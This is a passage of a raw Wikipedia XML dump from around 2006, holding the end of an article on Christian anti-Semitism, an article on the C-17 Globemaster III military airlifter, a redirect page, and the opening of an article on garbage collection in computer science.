An almost automatic respect is often accorded to a Jewish convert to Christianity, which goes hand in hand with a special contempt for Jewish [[apostasy]] from Christianity.  Especially strong fascination with Jews and Judaism, both positive and negative, has typified Christianity from the beginning.  No family lineage has the significance to Christianity that belongs to every Jew, simply by being born Jewish.  Special interest in their history and religion has occasionally produced among Christians a special interest in winning their conversion; the dark side of which, is that an especially virulent disdain has been reserved for ethnically Jewish converts to Christianity who practice Judaism after conversion to Christianity, or revert to Judaism.  The logical assumption that Jews should understand Jesus better than anyone makes Jewish rejection of Christian claims felt with unique disappointment, sometimes erupting into hatred and violence toward them, for reasons that would not even remotely apply to any other ethnic group. This has been the important cause of Christian anti-semitism for centuries, and especially during the [[Inquisition]].

As any other religion, Christianity is transmitted through the voices of humans.  The shape of anti-Semitism in the Christian world has changed so much according to place and time that, on nearly anyone's account, it is unfair to say Christians ''per se'' have taught anti-Semitism.  It should also be noted that anti-Semitism never was part of Christian doctrine, even before the [[Second Vatican Council]] denounced it. Nonetheless, Christian anti-Semites have often turned to Christian scripture to justify their actions.

==19th- and 20th-century Christian anti-Semitism==
{{expandsect}}

In the [[Papal States]], which existed until [[1870]], Jews were required to live only in specified neighborhoods called [[ghetto]]s.  Until the 1840s, they were required to regularly attend sermons urging their conversion to Christianity.  Only Jews were taxed to support state boarding schools for Jewish converts to Christianity.  It was illegal to convert from Christianity to Judaism.  Sometimes Jews were baptized involuntarily, and, even when such baptisms were illegal, forced to practice the Christian religion.  In many such cases the state separated them from their families.  See [[Edgardo Mortara]] for an account of one of the most widely publicized instances of acrimony between Catholics and Jews in the [[Papal States]] in the second half of the 19th century.

In the 19th and (before the end of the second World War) 20th centuries, the Roman Catholic church adhered to a distinction between &quot;good anti-Semitism&quot; and &quot;bad anti-Semitism&quot;.  The &quot;bad&quot; kind promoted hatred of Jews because of their descent.  This was considered un-Christian because the Christian message was intended for all of humanity regardless of ethnicity; anyone could become a Christian.  The &quot;good&quot; kind criticized alleged Jewish conspiracies to control newspapers, banks, and other institutions, to care only about accumulation of wealth, etc.  Many Catholic bishops wrote articles criticizing Jews on such grounds, and, when accused of promoting hatred of Jews, would remind people that they condemned the &quot;bad&quot; kind of anti-Semitism.  A detailed account is found in historian [[David Kertzer]]'s book ''The Popes Against the Jews''.

However, many scholars seriously dispute Kertzer's findings.  Jose Sanchez, history professor at St. Louis University criticized Kertzer's work as polemical and exaggerating the papacy's role in anti-Semitism [http://www.americamagazine.org/BookReview.cfm?articletypeid=31&amp;textID=1389&amp;issueID=357 1].  Scholar of Jewish-Christian relations [[Rabbi David G. Dalin]] criticized Kertzer in an Oct. 29, 2001 article in the Weekly Standard http://www.chretiens-et-juifs.org/article.php?voir[]=1700&amp;voir[]=1182 -(Linking Problem:  Copy &amp; Paste whole link into your browser) for selectively using evidence.  Ronald J. Rychlak, lawyer and author of &lt;i&gt; Hitler, the War, and the Pope &lt;/i&gt;, also decried Kertzer's work for omitting strong evidence that the Church was not anti-Semitic [http://www.catholicleague.org/research/kertzer.htm 2].
&lt;!--To be written. Will include Catholic preachings against the Jews in WWII Boston, MA; Cardinal Glemp's statements against the Jews in Poland; Reaction to Vatican II by traditionalists; etc., actions of fundamentalist Evangelical preachers in the US, etc.--&gt;

==The &quot;White Power&quot; movement==
The [[Christian Identity]] movement, the [[Ku Klux Klan]] and other [[White supremacy]] groups claim to be very strongly Christian in nature; they are vehemently anti-Semitic, as well as racist. The Klan is also demonstrably anti-Catholic. A racial belief common among these groups, but not universal, is an [[Historical revisionism (political)|alternative history]] doctrine, sometimes called [[British Israelism]]. In some forms this doctrine absolutely denies that modern Jews have any racial connection to Israel of the Bible. Instead, according to extreme forms of this doctrine, the true racial Israel and true humans, are the Adamic (white) race.

==Anti-Semitism in modern-day nations==
Anti-Semitism in Europe remains a substantial problem. The entry on [[Religious freedom in Poland]] discusses the current state of religious tensions in predominantly Catholic Poland. Anti-Semitism exists to a lesser or greater degree in many other nations as well, including Eastern Europe, the former Soviet Union, and the occasional tensions between some Muslim immigrants and Jews across Europe.  Some European nations have singled out Jewish dietary practices for regulation; at least five nations have banned the production of [[kosher]] meat.  The [[US State Department]] reports that anti-Semitism has increased dramatically in Europe and Eurasia since [[2000]] ([http://usinfo.state.gov/eur/Archive/2005/Jan/05-93928.html]).

While in a decline since the 1940s, there is still a measurable amount of anti-Semitism in the United States of America as well, although acts of violence are rare. The 2001 survey by the [[Anti-Defamation League]] reported 1432 acts of anti-Semitism in the United States that year. The figure included 877 acts of harassment, including verbal intimidation, threats and physical assaults.[http://www.adl.org/PresRele/ASUS_12/4057_12.asp]

==Current attempts to convert Jews to Christianity==

The Southern Baptist Convention, the largest Protestant Christian denomination in the U.S., has explicitly rejected suggestions that it should back away from seeking to convert Jews, a position that critics have called anti-Semitic but that Baptists see as consistent with their view that salvation is found solely through faith in Christ. In 1996, the SBC approved a resolution calling for efforts to seek the conversion of Jews &quot;as well as for the salvation of 'every kindred and tongue and people and nation.'&quot;

Most [[Evangelicalism|Evangelicals]] agree with the SBC position, and some have similarly been supporting efforts specifically seeking Jews' conversion. At the same time these groups are among the most pro-Israeli groups.  Among the controversial groups that has found support from some Evangelical churches is [[Jews for Jesus]], which claims that Jews can find their Jewish faith become complete by accepting Jesus as the [[Messiah]]. 

By contrast, the [[Presbyterian Church USA|Presbyterian Church (USA)]], the [[United Methodist Church]], and the [[United Church of Canada]] have ended their efforts to convert Jews. 

[[Jew]]s and Jewish organizations have described evangelism directed specifically at Jews as anti-Semitic.[http://www.rickross.com/reference/jews_for_jesus/jews_for_jesus6.html][http://www.bnaibrith.ca/publications/audit1998/audit1998-07.html][http://torahatlanta.com/IntheNewsArticles/Portland.html][http://www.sullivan-county.com/news/mine/antisemitism.htm]

== Reconciliation between Judaism and Christian groups ==
{{main|Christian-Jewish reconciliation}}
In recent years there has been much to note in the way of reconciliation between some Christian groups and the Jews. Most of this reconciliation has occurred between the Jewish community and the Catholic Church, and some liberal Protestant Christian organizations.

== Kevin MacDonald's theory of Christian anti-Semitism ==

Professor [[Kevin B. MacDonald]] has attempted to account for Christian anti-Semitism within a broader theory of historical antagonism between Jews and gentiles, which he reads as a paradigm of more general conflicts between competing groups of human beings over evolutionary time. His reading of the [[Spanish Inquisition]], for example, is that it was an attempt by Spanish Christians to reverse the gains in economic and political power made by Jews who had converted, sometimes unwillingly, to Christianity in the medieval period. His wider conclusions are that Christian anti-Semitism has been at some times and in some ways a &quot;mirror image&quot; of the ethnocentrism, religious exclusivism, and &quot;in-group&quot; solidarity by which he accounts for Jewish success in finance and politics. MacDonald's analysis has been heavily criticized by the scientific community, ''[[Slate (magazine)|Slate]]'' magazine and others, including [[Steven Pinker]] and [[John Tooby]], past president of the [[Human Behavior and Evolution Society]], as lacking in scientific foundation, and based on the discredited notion of [[group-selection theory]]; others have accused him of misrepresenting evidence.  His theory has, however, received acclaim from [[white supremacist]]s.

==See also==

* [[Anti-Semitism]]
* [[Christian opposition to anti-Semitism]]
* [[Deicide]]
* [[Good Friday Prayer]]
* [[History of anti-Semitism]]
* [[Jews in the New Testament]]
* [[Judaism]]
* [[Judas Iscariot]]
* [[Martin Luther and Antisemitism]]
* [[Passion of the Christ]]
* [[Persecution of Christians]]
* [[Pogrom]]
* [[Pre-Adamite]]
* [[Religious pluralism]]
* [[Shoah]]
* [[Criticisms of Christianity]]

==External links==

* [http://www.icjs.org/what/njsp/dabruemet.html Dabru Emet]
* [http://www.religioustolerance.org/jud_chrr.htm Relations between Christians and Jews]
* [http://www.us-israel.org/jsource/anti-semitism/Christian.html Christian anti-Semitism]
* [http://www.bc.edu/bc_org/research/cjl/Documents/ICCJ_1993.htm Jews and Christians in Search of a Common Religious Basis for Contributing Towards a Better World]
* [http://www.religioustolerance.org/sbc_pray.htm Southern Baptist views on Judaism and other faiths]
* [http://www.religioustolerance.org/chr_jcon.htm Attempts to convert Jews to Christianity, and responses]
* [http://www.orthodoxy.faithweb.com/antisem.htm Antisemitism and Eastern Orthodoxy]
* [http://www.yad-vashem.org.il/righteous/index_righteous.html Yad VaShem's &quot;Righteous Among the Nations&quot;]
* [http://www.sullivan-county.com/news/mine/timeline.htm Catholic Timeline on Antisemitism]
*[http://www.opinionjournal.com/taste/?id=110007002 Mainline churches launch a policy to punish Israel] by [[Eugene Kontorovich]], in the [[Wall Street Journal]],  July 22, 2005.

==Further reading==

* &quot;Christian Antisemitism:  A History of Hate&quot; by William Nicholls, 1993. Published by Jason Aronson Inc., 1995.
* &quot;Mature Christianity: The Recognition and Repudiation of the Anti-Jewish Polemic in the New Testament&quot; Norman A. Beck, Susquehanna Univ. Press, 1985
* &quot;The Satanizing of the Jews: Origin and development of mystical anti-Semitism&quot; Joel Carmichael, Fromm, 1993
* &quot;The Origins of Anti-Semitism: Attitudes Toward Judaism in Pagan and Christian Antiquity&quot; John G. Gager, Oxford Univ. Press, 1983
* &quot;What Did They Think of the Jews?&quot; Edited by Allan Gould, Jason Aronson Inc., 1991
* &quot;The New Testament's Anti-Jewish Slander and Conventions of Ancient Polemic&quot;, Luke Johnson, Journal of Biblical Literature, Volume 3, 1989
* &quot;Three Popes and the Jews&quot; Pinchas E. Lapide, Hawthorne Books, 1967
* &quot;National Socialism and the Roman Catholic Church&quot; Nathaniel Micklem, Oxford Univ. Press, 1939
* Theological Anti-Semitism in the New Testament&quot;, Rosemary Radford Ruether, Christian Century, Feb. 1968, Vol. 85
* &quot;John Chrysostom and the Jews&quot; Robert L. Wilken, Univ. of California Press, Berkeley, 1983
*[http://www.beitshalom.org/articulo.aspx?i=en-us&amp;c=54 &quot;Anti-Semitism in the Church?&quot; by Julio Dam]

[[Category:Anti-Semitism]]
[[Category:Christian viewpoints]]
[[Category:Jewish Christian topics]]

[[he:נצרות ואנטישמיות]]</text>
    </revision>
  </page>
  <page>
    <title>C-17 Globemaster III</title>
    <id>6731</id>
    <revision>
      <id>42155896</id>
      <timestamp>2006-03-04T04:42:17Z</timestamp>
      <contributor>
        <username>N328KF</username>
        <id>77722</id>
      </contributor>
      <minor />
      <comment>/* Luftwaffe background */ ref</comment>
      <text xml:space="preserve">For other aircraft called Globemaster,see [[C-74 Globemaster]] and [[C-124 Globemaster II]]

[[image:c17.jpg|350px|thumb|The C-17 Globemaster III (P-38 is shown)]]
The '''C-17 Globemaster III''' is a [[strategic airlift]]er manufactured by [[Boeing Integrated Defense Systems|Boeing IDS]], used by the [[United States Air Force]] and the [[Royal Air Force]].

==Mission==
The C-17 Globemaster III is the newest purpose-built [[cargo aircraft]] to enter the [[U.S]] and [[western]] airforces. It is capable of rapid strategic delivery of troops and all types of [[cargo]] to main operating bases or directly to forward bases in the deployment area. This aircraft is also capable of performing [[tactical airlift]] and [[airdrop]] missions when required. The inherent flexibility and performance of the C-17 force improves the ability of the total airlift system to fulfill the worldwide air mobility requirements of the United States. 

The ultimate measure of airlift effectiveness is the ability to rapidly project and sustain an effective combat force close to a potential battle area. In recent years the size and weight of U.S. mechanized firepower and equipment have grown, which has significantly increased air mobility requirements, particularly in the area of large or heavy outsize cargo. As a result, newer and more flexible airlift aircraft such as the C-17 are needed to meet potential armed contingencies, peacekeeping or humanitarian missions worldwide.

==Features==
The C-17 is powered by four, fully reversible, [[Pratt &amp; Whitney PW2000|F117-PW-100]] [[turbofan]] engines (the [[United States Department of Defense|Department of Defense]] designation for the commercial Pratt and Whitney PW2040, currently used on the [[Boeing 757]].) Each engine is rated at 40,440 lb&lt;sub&gt;f&lt;/sub&gt; (180 kN) of thrust. The thrust reversers direct the flow of air upward and forward. This facilitates a decreased rate of ingestion of foreign object debris (FOD) as well as reverse thrust capable of backing the aircraft. Additionally, the C-17's thrust reversers can be used at idle-reverse in flight for added drag in maximum-rate descents.

The aircraft is operated by a minimum crew of three (pilot, copilot, and loadmaster). Cargo is loaded onto the C-17 through a large aft door that accommodates both rolling stock (vehicles, trailers, etc.) and palletized cargo. The cargo floor has rollers (used for palletized cargo) that can be flipped to provide a flat floor suitable for rolling stock. One of the larger pieces of rolling stock that this aircraft can carry is the 70-ton M1 main battle tank.

Maximum payload capacity of the C-17 is 170,900 lb (77,500 kg), and its [[Maximum Take-Off Weight|maximum gross takeoff weight]] is 585,000 lb (265,350 kg). With a payload of 160,000 lb (72,600 kg) and an initial cruise altitude of 28,000 ft (8,500 m), the C-17 has an unrefueled range of approximately 2,400 nautical miles (4,400 km) on the first 71 units, and 2,800 nautical miles (5,200 km) on all subsequent units, which are extended-range models with an additional fuel tank in the center wing box. Its cruise speed is approximately 450 knots (833 km/h) (.74 Mach). The C-17 is designed to airdrop 102 [[paratrooper]]s and equipment.

The C-17 is designed to operate from runways as short as 3,000 ft (900 m) and as narrow as 90 ft (27 m). In addition, the C-17 can operate out of unpaved, unimproved runways (although this is rarely done due to the increased possibility of damage to the aircraft). The thrust reversers can be used to back the aircraft and reverse direction on narrow taxiways using a three-point (or in some cases, multi-point) turn maneuver.

==Background==
[[Image:Air_force_globemasters_unload_supplies_in_mississippi_aug_31_2005.jpg|thumb|250px|right|August 31, 2005: Three C-17s unload supplies to aid victims of [[Hurricane Katrina]] at [[Keesler Air Force Base]] in [[Mississippi]].]]
In the 1970s, USAF began looking for a replacement for the [[C-130 Hercules]] tactical airlifter. The [[Advanced Medium STOL Transport]] (AMST) competition was held, with [[Boeing Integrated Defense Systems|Boeing]] proposing the [[Boeing YC-14|YC-14]], and [[McDonnell Douglas]] proposing the [[McDonnell Douglas YC-15|YC-15]]. The AMST competition was cancelled before a winner had been selected.

By the early-1980s, the USAF found itself with a very large, but aging fleet of [[C-141 Starlifter]]s. Some of the C-141s had major structural problems as a result of heavy use. Compounding matters, USAF historically never possessed sufficient strategic airlift capabilities to fulfill its airlift requirements. In response, McDonnell Douglas elected to develop the YC-15 as the basis for a new aircraft. This aircraft, by then designated the C-17A Globemaster III, was ordered in August 1981. The new aircraft differed in having swept wings, increased size, and more powerful engines. This would allow it to perform all work performed by the C-141, but to also fulfill some of the duties of the [[C-5 Galaxy]], so that the C-5 fleet would be freed up for larger, more outsize cargo. 

Development continued until December, 1985 when a full-scale production contract was signed. Its maiden flight was on [[September 15]], [[1991]] from the McDonnell-Douglas west coast plant in [[Long Beach, California]]. This aircraft (T-1) and five more production models (P1-P5) participated in extensive flight testing and evaluation at [[Edwards AFB]]. Soon after the C-17 reached production, McDonnell Douglas was acquired by its former competitor, Boeing.

===USAF background===
The first production model was delivered to Charleston Air Force Base, S.C., on [[July 14]], [[1993]]. The first squadron of C-17s, the [[17th Airlift Squadron]], was declared operationally ready on [[January 17]], [[1995]]. 

[[Image:globemaster_tactical.jpg|thumb|200px|left|Seventeen USAF C-17 Globemaster III on a low level tactical training mission.]]

The Air Force originally programmed to buy a total of 120 C-17s, with the last one being scheduled for delivery in November 2004. The fiscal 2000 budget funded another 14 aircraft for [[United States Special Operations Command|Special Operations Command]]. Basing of the original 120 C-17s is planned for [[Charleston AFB, South Carolina|Charleston AFB]]; [[McChord Air Force Base|McChord AFB]] (first aircraft arrived in July 1999); [[Altus AFB, Oklahoma|Altus AFB]]; and at an Air National Guard unit in Jackson, Miss. Basing of the additional 14 aircraft to McGuire AFB NJ Elemendorf AK Hickham HI Dover AFB DE and Travis AFB CA. An additional 60 units were ordered in May of 2002. The [[United States Department of Defense|Department of Defense]] is considering an additional 42 aircraft. Depending upon the fate of the C-5 Galaxy, there may be further orders. 

USAF originally intended to acquire about 350 units, though this was reduced at the end of the [[Cold War]]. However, USAF has been so pleased and amazed with the aircraft that it is entirely possible that the C-17 will be ordered in greater quantities than originally envisioned, with current orders standing at 180&lt;!-- or is it 194? --&gt;, and likely to reach 222&lt;!--or 236? --&gt; in the near future.

===RAF background===
Boeing has actively marketed the C-17 to many European nations including [[Belgium]], [[United Kingdom|Britain]], [[France]], and [[Spain]]. Of these, Britain was always seen as the most likely customer given its increasingly expeditionary military strategy and global commitments. The [[Royal Air Force]] has established an aim of having interoperability and some weapons and capabilities commonality with the [[United States Air Force]]. The UK's 1998 [[Strategic Defence Review]] identified a requirement for a strategic airlifter following the protracted procurement of the European airlifter, the [[Airbus]] [[Airbus A400M|A400M]]. The Short-Term Strategic Airlift (STSA) competition commenced in September of that year. The UK cancelled the competition in August 1999 recognizing that the C-17 was the only aircraft that met its demanding specifications. 

The UK [[Secretary of State for Defence|Defence Secretary]], [[Geoff Hoon]], announced in May 2000 that the RAF would lease four C-17s from Boeing for an initial seven years with an optional two year extension. At this point the RAF would have the option to buy the aircraft or return them to Boeing. The UK committed to upgrading the C-17s in line with the USAF so that in the event of them being returned to Boeing the USAF could adopt them.

The first C-17 was delivered to the RAF at Boeing's Long Beach facility on [[May 17]], [[2001]] and flown to [[RAF Brize Norton]] by [[No. 99 Squadron RAF|No. 99 Squadron]] which had previously trained with USAF crews to gain competence on the type. The RAF's fourth C-17 was delivered on [[August 24]], [[2001]]. The RAF aircraft were some of the first to take advantage of the new centre wing fuel tank.

The RAF declared itself delighted with the C-17 and reports began to emerge that they wished to retain the aircraft regardless of the [[A400M]]'s progress. Although the C-17 fleet was to be a fallback for the A400M, the UK announced on [[July 21]], [[2004]] that they have elected to buy their four C-17s at the end of the lease, even though the A400M is moving towards production. They will also be placing a follow-on order for one aircraft, though there may be additional purchases later.{{ref|gdr_2003}} While the A400M is described as a &quot;strategic&quot; airlifter, the C-17 gives the RAF true strategic capabilities that it would not wish to lose, for example a maximum payload of 77,000 kg compared to the Airbus' 37,000 kg. The fifth aircraft will be ordered when the USAF places its expected order for 42, in early 2005.

In RAF service the C-17 has not been given an official designation (e.g. C-130J referred to as Hercules C4 or C5) due to its leased status, but is referred to simply as the C-17. Following the end of the lease period the four aircraft will assume an RAF designation, most likely &quot;Globemaster C1.&quot; Presumably, should the additional aircraft enter service prior to this, it alone will carry the C1 designation for a time.

=== Luftwaffe background ===
The [[2004 Indian Ocean earthquake]] and resultant [[tsunami]]s placed a strain on the global strategic airlifter pool. The impressive performance of the C-17 in USAF and RAF service have persuaded [[Germany]] to consider acquiring 2-4 C-17s for the ''[[Luftwaffe]]'' in a [[dry lease]] arrangement, at least until the A400M is available in 2009. German [[Foreign Minister]] [[Joschka Fischer]] stated in the German news magazine ''[[Der Spiegel]]'' that the government needed its own organic strategic transport capability to be able to respond to disasters in a better manner than it was able to for this incident. During the tsunami relief effort, Germany tried to acquire transport through its usual method of [[wet lease|wet leasing]] [[Antonov]] airlifters via private companies, but found to its dismay that there were no available aircraft. While the stated goal of a C-17 lease would be to last until the A400M's arrival, it is always possible that the ''Luftwaffe'' may undergo an experience similar to that of the RAF, and elect to retain them.{{ref|expatica_bdr}}

=== RAAF background ===
The [[Royal Australian Air Force]] was revealed in late [[2005 in aviation|2005]] to be considering four C-17s or eight A400Ms for strategic transport. [[Minister for Defence (Australia)|Minister for Defence]] [[Robert Hill (Australian politician)|Robert Hill]] stated that the [[Australian Defence Force]] was considering such aircraft given inavailability of aircraft from partner nations and air freight companies. The C-17 is considered to be the favorite, due to being a &quot;proven aircraft,&quot; as well as having earlier availability. Though unstated, commonality with USAF and the RAF would likely be of benefit as well. The service later announced on [[March 2]], [[2006]], that they were purchasing three or four examples, with an [[entry into service]] date of 2006.{{ref|raaf_pr}}{{ref|wsj_aussie_c17}}

==Wartime usage==
The C-17 was used to deliver [[military]] goods and [[humanitarian aid]] during [[Operation Enduring Freedom]] in [[Afghanistan]] as well as [[2003 invasion of Iraq|Operation Iraqi Freedom]] in [[Iraq]] by both services. On [[March 26]], [[2003]], fifteen USAF C-17s participated in the biggest combat airdrop since [[Operation Just Cause]] in [[Panama]] in December, 1989.   The night-time airdrop of 1,000 soldiers occurred over Bashur, [[Iraq]]. It opened the northern front to combat operations and constituted the largest formation airdrop since [[D-Day]] in [[World War II]].

==Units using the C-17==
[[image:C-17 5.jpg|thumb|300px|The C-17 Globemaster III (P-45 is shown) releasing a [[flare_(pyrotechnic)|flare]].]]
===United States Air Force===
Inventory: 71 C-17, 67 C-17ER (+42 C-17ER on order) (as of [[July 25]], [[2005]])
*[[Altus AFB, Oklahoma|Altus AFB]]
**[[97th Air Mobility Wing]]
***[[58th Airlift Squadron]]
*[[Charleston AFB, South Carolina|Charleston AFB]]
**[[315th Airlift Wing]]
***[[300th Airlift Squadron]]
***[[317th Airlift Squadron]]
***[[701st Airlift Squadron]]
**[[437th Airlift Wing]]
***[[14th Airlift Squadron]]
***[[15th Airlift Squadron]]
***[[16th Airlift Squadron]]
***[[17th Airlift Squadron]]
*[[March ARB, California|March ARB]]
*[[McChord Air Force Base|McChord AFB]]
**[[62nd Airlift Wing]]
***[[4th Airlift Squadron]]
***[[7th Airlift Squadron]]
***[[8th Airlift Squadron]]
***[[10th Airlift Squadron]]
**[[446th Airlift Wing]]
***[[97th Airlift Squadron]]
***[[313th Airlift Squadron]]
***[[728th Airlift Squadron]]
*[[McGuire Air Force Base|McGuire AFB]]
**[[6th Airlift Squadron]]
*[[Allen C. Thompson Field ANGB, Mississippi|Allen C. Thompson Field ANGB]]
**[[172nd Airlift Wing]]
***[[183rd Airlift Squadron]]

===Royal Air Force===
Inventory: 4 C-17ER (+1 C-17ER on order)
*[[RAF Brize Norton]]
**[[No. 99 Squadron RAF|No. 99 Squadron]]

===Royal Australian Air Force===
Inventory: 3-4 C-17ER on order
* May be operated by [[No. 36 Squadron RAAF|No. 36 Squadron]] based at either [[RAAF Base Richmond]] or [[RAAF Base Amberley]].

== Specifications (C-17) ==
[[Image:C-17 3-view.png|right|400px]]
&lt;h3&gt; General characteristics &lt;h3&gt;
* '''Crew:''' 3 &lt;small&gt;(2 pilots, 1 loadmaster)&lt;/small&gt;
* '''Capacity:''' 
** Cargo: 170,900 lb (77,500 kg)
** Troops: 102, regular or airborne
** Medevac: 36 litter and 54 ambulatory patients
* '''Length:''' 174 ft (53 m)
* '''Wingspan:''' 169.8 ft (58 m)
* '''Height:''' 55.1 ft (16.8 m)
* '''Wing area:''' 3,800 ft&amp;sup2; (353 m&amp;sup2;)
* '''Empty:'''  lb ( kg)
* '''Loaded:'''  lb ( kg)
* '''Maximum takeoff:''' 585,000 lb (265,500 kg)
* '''Powerplant:''' 4 &amp;times; [[Pratt &amp; Whitney PW2000|Pratt &amp; Whitney F117-PW-100]] [[turbofan]]s, 40,440 [[pound-force|lb&lt;sub&gt;f&lt;/sub&gt;]] (180 kN) thrust

&lt;h3&gt; Performance &lt;h3&gt;
* '''Maximum speed:''' 450 knots (830 km/h)
* '''Cruise speed:'''  390 knots (722 km/h)
* '''Range:'''
** C-17: 2,400 nm (4,400 km)
** C-17ER: 2,800 nm (5,200 km)
* '''Service ceiling:''' 45,000 ft (13,700 m)
* '''Rate of climb:'''  ft/min ( m/min)
* '''Wing loading:'''  lb/ft&amp;sup2; ( kg/m&amp;sup2;)
* '''Thrust/weight:''' 

== References ==
* {{note|gdr_2003}} &quot;[http://www.global-defence.com/2003/globe_master.htm RAF's Globe Master].&quot; ''[[Global Defence Review]]''. [[2003]].
* {{note|expatica_bdr}} &quot;[http://www.expatica.com/source/site_article.asp?subchannel_id=52&amp;story_id=15827&amp;name=Berlin+to+designate+tsunami+relief+as+development+aid+ Berlin designates tsunami relief as aid].&quot; ''[[Expatica]]''. [[January 17]], [[2005]].
* {{note|raaf_pr}} &quot;[http://www.minister.defence.gov.au/NelsonMintpl.cfm?CurrentId=5449 New Heavy Airlift Capability For The Royal Australian Air Force].&quot; RAAF press release. [[March 2]], [[2006]].
* {{note|wsj_aussie_c17}} &quot;[http://online.wsj.com/article/BT-CO-20060302-012420.html?mod=COMPANY Australia To Spend Up To A$2B On Boeing C-17 Aircraft].&quot; ''[[The Wall Street Journal]]''. [[March 2]], [[2006]].

{{airlistbox}}

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:4px auto; clear:both;  font-family:Arial,Helvetica; font-size:72%; align=&quot;center; bgcolor=&quot;#efefef&quot;&quot;
|- 
|bgcolor=&quot;#DCDCDC&quot;| '''Modern USAF Series'''
| rowspan=&quot;2&quot; | 
''Transport''&lt;br&gt;
[[C-5 Galaxy]]&lt;br&gt;
C-17 Globemaster III&lt;br&gt;
[[C-20 Gulfstream III]]&lt;br&gt;
[[C-21 Learjet]]&lt;br&gt;
[[Boeing C-22|C-22B]]&lt;br&gt;
[[Boeing C-32|C-32]]&lt;br&gt;
[[C-130 Hercules]]&lt;br&gt;
[[C-141B Starlifter]]&lt;br&gt;
[[C-37 Gulfstream V|C-37A]]&lt;br&gt;
[[C-40 Clipper|C-40B/C]]&lt;br&gt;
[[VC-25 - Air Force One]]&lt;br&gt;
|  rowspan=&quot;2&quot; |
''Fighter''&lt;br&gt;
[[F-15 Eagle]]&lt;br&gt;
[[F-15E Strike Eagle]]&lt;br&gt;
[[F-16 Fighting Falcon]]&lt;br&gt;
''Electronic''&lt;br&gt;
[[E-3 Sentry]]&lt;br&gt; 
[[E-4B]]&lt;br&gt;
[[E-8 Joint STARS|E-8C Joint Stars]]&lt;br&gt;
[[EC-130E]]/[[EC-130J]] &lt;br&gt;
[[EC-130H Compass Call]]&lt;br&gt;
|rowspan=&quot;2&quot; |
''Miscellaneous ''&lt;br&gt;
[[HC-130P]]/[[HC-130N|N]]&lt;br&gt;
[[HH-60G Pave Hawk]]&lt;br&gt;
[[KC-10 Extender]]&lt;br&gt;
[[KC-135 Stratotanker]]&lt;br&gt;
[[MC-130E]]/[[MC-130H|H]] &lt;br&gt;
[[MC-130P Combat Shadow]]&lt;br&gt;
[[MH-53J Pave Low|MH-53J]]/[[MH-53M Pave Low|M Pave Low]] &lt;br&gt;
[[OC-135 Open Skies|OC-135B Open Skies]]&lt;br&gt;
[[RC-135 Rivet Joint|RC-135V/RC-135W Rivet Joint]]&lt;br&gt;
[[Lockheed U-2|U-2S/TU-2S]]&lt;br&gt;
[[UH-1 Iroquois|UH-1N Huey]]&lt;br&gt;
| rowspan=&quot;2&quot; |
''Trainers''&lt;br&gt;
[[T-1 Jayhawk]]&lt;br&gt;
[[T-37 Tweet]]&lt;br&gt;
[[T-38 Talon]]&lt;br&gt;
[[Boeing T-43|T-43]]&lt;br&gt;
[[T-6 Texan II]]&lt;br&gt;
''Weather''&lt;br&gt;
[[WC-130 Hercules]]&lt;br&gt;
[[WC-135]]&lt;br&gt;
''UAV''&lt;br&gt;
[[RQ-1 Predator|RQ-1/MQ-1 Predator UAV]] &lt;br&gt;
[[Global Hawk| Global Hawk UAV ]] &lt;br&gt;
|- 
|''Attack''&lt;br&gt;
[[A-10 Thunderbolt II]]&lt;br&gt;
[[OA-10 Thunderbolt II|OA-10]]&lt;br&gt;
[[AC-130 gunship|AC-130H/U Gunship]]&lt;br&gt;
''Bomber'' &lt;br&gt;
[[B-1B Lancer]]&lt;br&gt;
[[B-2 Spirit]]&lt;br&gt;
[[B-52 Stratofortress]]&lt;br&gt;
[[F-117A Nighthawk]]&lt;br&gt;
|}

==External links==
* [http://www.boeing.com/defense-space/military/c17/c17spec.htm Official site].
* [http://www.b-domke.de/AviationImages/Globemaster.html More detailed photographs].
* [http://www.globalsecurity.org/military/systems/aircraft/c-17.htm GlobalSecurity.org entry].

==Related content==
{{aircontent|
|links=yes
|has sequence=yes
|has relations=yes
|has lists=no
|see also?=yes

|sequence=
* [[C-12 Huron|C-12]] - [[Boeing YC-14|C-14]] - [[McDonnell Douglas YC-15|C-15]] - [[C-16]] - '''C-17''' - [[Boeing C-18|C-18]] - [[Boeing C-19|C-19]] - [[C-20 Gulfstream III|C-20]] - [[C-21 Learjet|C-21]]

|related=
* [[McDonnell Douglas YC-15]]

|similar aircraft=
* [[C-141 Starlifter]] - [[Kawasaki C-1]]

|has lists=no
&lt;!-- |lists=
* [[List of airliners]] --&gt;

|see also?=yes
|see also=
* [[Strategic airlift]]
* [[Airhead]]

}}

{{Commons|C-17 Globemaster III}}

[[Category:U.S. military transport aircraft 1990-1999]]

[[de:McDonnell Douglas C-17]]
[[fr:McDonnell Douglas C-17 Globemaster III]]
[[ja:C-17 (輸送機)]]
[[sl:McDonnell Douglas C-17 Globemaster III]]
[[sv:Boeing C-17 Globemaster III]]
[[zh:C-17运输机]]</text>
    </revision>
  </page>
  <page>
    <title>Caber</title>
    <id>6732</id>
    <revision>
      <id>15904853</id>
      <timestamp>2004-04-22T15:24:21Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
        <id>16175</id>
      </contributor>
      <comment>redirect to Caber toss</comment>
      <text xml:space="preserve">#REDIRECT [[Caber toss]]</text>
    </revision>
  </page>
  <page>
    <title>Garbage collection (computer science)</title>
    <id>6734</id>
    <revision>
      <id>42081206</id>
      <timestamp>2006-03-03T18:21:21Z</timestamp>
      <contributor>
        <username>Awaterl</username>
        <id>246</id>
      </contributor>
      <comment>Mutator refers to an application in GC parlance, not a mutator method in object-oriented parlance.</comment>
      <text xml:space="preserve">{{merge|Garbage (computer science)}}
In [[computer science]], '''garbage collection''' (also known as '''GC''') is a form of automatic [[memory management]].  The '''garbage collector''' or '''collector''' attempts to reclaim ''[[garbage (computer science)|garbage]]'', or memory used by [[Object (computer science)|objects]] that will never again be accessed or mutated by the [[Application software|application]].  Garbage collection was invented by [[John McCarthy (computer scientist)|John McCarthy]] around [[1959]] to solve the problems of manual memory management in his recently devised [[Lisp programming language]].

Garbage collection is often portrayed as the opposite of [[manual memory management]], which requires the programmer to specify which objects to deallocate and return to the memory system.  However, many systems use a combination of the two approaches, and there are other techniques being studied (such as [[region inference]]) to solve the same fundamental problem.

== Description ==

The basic principle of how a garbage collector works is:
# Determine what data objects in a program will not be accessed in the future
# Reclaim the storage used by those objects

